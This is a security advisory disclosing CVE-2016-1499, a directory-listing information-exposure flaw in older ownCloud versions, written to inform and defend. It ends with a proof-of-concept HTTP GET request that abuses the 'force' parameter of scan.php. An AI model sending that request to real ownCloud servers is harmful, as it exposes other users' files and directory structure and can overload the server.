Affected Version(s): ownCloud <= 8.2.1, <= 8.1.4, <= 8.0.9
Tested Version(s): 8.1.1, 8.1.4

CVE Reference: CVE-2016-1499
Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

ownCloud is a software suite for creating and using file hosting
services.

The ownCloud Web site describes the software  as follows (see [1]):

"ownCloud is a self-hosted file sync and share server. It provides access 
to your data through a web interface, sync clients or WebDAV while 
providing a platform to view, sync and share across devices easily — all 
under your control. ownCloud’s open architecture is extensible via a 
simple but powerful API for applications and plugins and it works with 
any storage."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

ownCloud is vulnerable to information exposure through directory
listing. It is possible with a normal user to get information about
the complete directory structure and included files of all users.
The 'force' parameter in the script (index.php/apps/files/ajax/scan.php)
can easily be manipulated, by setting its value to 'true'.

This vulnerability can potentially be used for denial-of-service attacks
if the selected directory is deep enough, because to index many
directories requires high computational effort. In addition, sensitive
information from other users is exposed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

With the following HTTP GET request, it is possible to see the
directories of other users.


GET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken=<VALIDREQUESTTOKEN> HTTP/1.1
Host: [HOST]
Accept: text/event-stream
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [REFERER]
Cookie: [COOKIES]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
